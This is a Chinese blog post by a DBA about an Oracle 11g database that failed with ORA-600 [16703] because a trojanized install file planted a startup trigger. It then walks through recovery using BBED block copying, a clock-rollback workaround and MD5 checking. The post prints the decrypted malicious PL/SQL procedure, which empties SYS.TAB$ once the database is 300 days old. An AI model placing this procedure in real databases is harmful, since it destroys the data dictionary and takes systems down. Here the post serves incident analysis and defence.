最近,同事负责的项目,机房断电,恢复后需要重新启动数据库,就找到了我,都是常规操作,登录数据库后直接startup命令,但是一个 ORA-600 错误映入眼帘,反复重试无法消除问题:
SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018
Copyright (c) 1982, 2013, Oracle. All rights reserved.
Connected to an idle instance.
SQL> startup mount;
ORACLE instance started.
Database mounted.
SQL> alter database open;
alter database open
*
ERROR at line 1:
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 1236
Session ID: 1 Serial number: 5
上网查询相关报错信息后,确定是由于数据库安装软件被注入恶意程序,导致数据库无法启动。相关链接如下:
https://www.eygle.com/archives/2018/07/recover_ora-600_16703.html
被注入的文件是:
$ORACLE_HOME/rdbms/admin/prvtsupp.plb
这个程序包文件最后被注入了一个触发器,这个启动触发器,当数据库启动之后被触发执行:
这个触发器执行的是前面的加密代码,存储过程,这个存储过程解密后的代码如下,其代码逻辑就是,判断数据库的创建时间大于 300 天,然后创建一个备份表,备份 tab$ 内容之后,清空 TAB$ 表。
此后,数据库当然就无法启动了:
PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN
SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=300) THEN
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';
DELETE SYS.TAB$;
COMMIT;
EXECUTE IMMEDIATE 'alter system checkpoint';
END IF;
END;
如果在数据库中查到这个触发器,请立即删除。否则数据库重启后就会报错!
现在已经查到问题的原因,那么怎么解决呢?
1、根据网络上的解决办法,由于恶意软件在删除数据前,把数据写入了另外一张表中,可以通过bbed方式去恢复 sys.tab$ 表,数据库启动后,从备份的表中恢复 sys.tab$表数据,数据库恢复正常。
思路是没有问题,但是之前都没有接触过bbed工具,只能照着文档里的步骤,先去做了,链接如下:
https://mp.weixin.qq.com/s?__biz=MjM5MDAxOTk2MQ==&mid=502797155&idx=1&sn=9f45528552d8951d7b1cf9beb2a2294b&chksm=3e478b7509300263287c126243ff8c86d3335fe934b7db2d387add87b49a667dc23048edab59#rd
按照文档思路,数据库启动时需要访问基表,这些对象在同版本同平台的数据库上的rdba地址一般都是一致的,所以找一台正常运行的同版本同平台的数据库(最好是比较干净的库,否则后续处理会比较麻烦),使用bbed进行替换,用sql拼接出bbed的命令
SQL> SELECT DISTINCT'copy file 2 block '||block_id||' to file '||FILE_ID||' block '||BLOCK_ID FROM(
2 SELECTa.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID)FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID
3 FROMTAB$ a,obj$ b
4 WHEREa.obj#=b.obj#
5 ANDA.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99));
结果大概是下面这个样子
---------------------------------------------BBED工具---------------------------------------------------
这里再记录一下bbed工具的使用过程:
1.1 BBED 安装
OracleDatabase 11g中缺省的未提供BBED库文件,但是可以用10g的文件编译出来,需要先从10g中复制如下文件到相应目录,然后再执行上述连接命令,参考如下步骤:
(1)复制Oracle 10g文件
Copy ORA10gHOME/rdbms/lib/ssbbded.otoORA10gHOME/rdbms/lib/ssbbded.otoORA11g_HOME/rdbms/lib
Copy ORA10gHOME/rdbms/lib/sbbdpt.otoORA10gHOME/rdbms/lib/sbbdpt.otoORA11g_HOME/rdbms/lib
Copy ORA10gHOME/rdbms/mesg/bbedus.msbtoORA10gHOME/rdbms/mesg/bbedus.msbtoORA11g_HOME/rdbms/mesg
Copy ORA10gHOME/rdbms/mesg/bbedus.msgtoORA10gHOME/rdbms/mesg/bbedus.msgtoORA11g_HOME/rdbms/mesg
Copy ORA10gHOME/rdbms/mesg/bbedar.msbtoORA10gHOME/rdbms/mesg/bbedar.msbtoORA11g_HOME/rdbms/mesg
(2)编译
make -f ORA11gHOME/rdbms/lib/insrdbms.mkBBED=ORA11gHOME/rdbms/lib/insrdbms.mkBBED=ORACLE_HOME/bin/bbed $ORACLE_HOME/bin/bbed
1.2 使用BBED
BBED是Oracle 内部使用的命令,所以Oracle 不提供技术支持。 为了安全,BBED设置了口令保护,默认密码为blockedit。
[oracle@db2 bin]$ bbed
Password:
BBED-00113: Invalid password. Please rerunutility with the correct password.
[oracle@db2 bin]$ bbed
Password:
BBED: Release 2.0.0.0.0 - LimitedProduction on Thu Aug 11 18:51:47 2011
Copyright (c) 1982, 2005, Oracle. All rights reserved.
*** !!! For Oracle Internal Useonly !!! *****
BBED>
一般使用bbed,都是将一些配置信息写入到一个参数文本里,在调用bbed时,指定该参数文件。如:
$bbedparfile=bbed.par
参数文件 示例如下:需要有file_id和file_name。
由于只是设计基表,都在system表空间,所以我们只需要把正常数据库的system数据文件拷贝一份到无法启动的数据库服务器上,然后把信息填到参数文件当中,参考如下:
依次执行copy命令
------------------------------------------------BBED工具-------------------------------------------------
使用bbed修改数据块后,
尝试open数据库:SQL> conn / as sysdba
Connected to anidle instance.
SQL> startup
ORACLE instancestarted.
Total System GlobalArea 1269366784 bytes
Fixed Size 2252864 bytes
Variable Size 1191186368 bytes
DatabaseBuffers 67108864 bytes
Redo Buffers 8818688 bytes
Database mounted.
Database opened.
但此时查看alert日志,会发现有报错,从alert日志可以看到此时数据库open伴随着ora-7445,并且5分钟后就会crash掉,所以要抓紧着5分钟的操作时间。
后面的步骤比较复杂,由于对bbed工具不熟悉,所以没有继续进行下去,感兴趣的同学可以再研究一下。
下面我使用备份来使数据库恢复正常
第一次使用备份恢复遇到一个问题,由于恶意代码是在oracle软件安装的时候就已经植入了,所以在备份恢复之后,执行startup后,由于已经超过300天,这个触发器就会被触发,$tab基表就会被清空。使用备份恢复后,查询数据表没有问题,但是无法使用exp工具导出数据,会有报错,并且数据库很大程度上是依赖 $tab基表的,所以到这里数据库不算是正常。
我根据这个恶意脚本的原理,它是通过sysdate-createdate去判断数据库是否运行超过300天,那么我们能否通过修改数据库服务器的操作系统时间,让它与createdate数据小于300天,来正常启动数据库呢。
通过现场操作,这个方法是可以的
1、先把操作系统时间 调整到300天以内,可以正常startup数据库;
2、然后
删除相关的触发器和存储过程;
3、正常关闭数据库shutdown immediate;
4、 把操作系统时间 调整到现在时间;
5、startup数据库;
6、检查数据,还有数据导出,后台日志,一切正常;
-----------------------------------------------------总结----------------------------------------------
通过本次事件,了解到了之前从来没接触过的bbed工具,后面有时间要好好研究一下这个工具,感觉很强大。还有就是在部署数据库软件的时候,一定要使用官方的安装文件,一定要校验md5的值。
附:
1、oracle数据库加解密工具(可以解密PLB格式的文件内容)
2、BBED-10G-源码(安装编译BBED时需要)
3、ORACLE常用安装文件的MD5值
p13390677_112040_Linux-x86-64_3of7.zip 大小:1.12GB md5:04cef37991db18f8190f7d4a19b26912
p13390677_112040_Linux-x86-64_2of7.zip 大小:1.07GB md5:67ba1e68a4f581b305885114768443d3
p13390677_112040_Linux-x86-64_1of7.zip 大小:1.3GB md5:1616f61789891a56eafd40de79f58f28
linux可通过md5sum命令查看md5值
下载地址: https://pan.baidu.com/s/1GwrETqSzvCgCJEgJe8a3iA
提取码:1lyq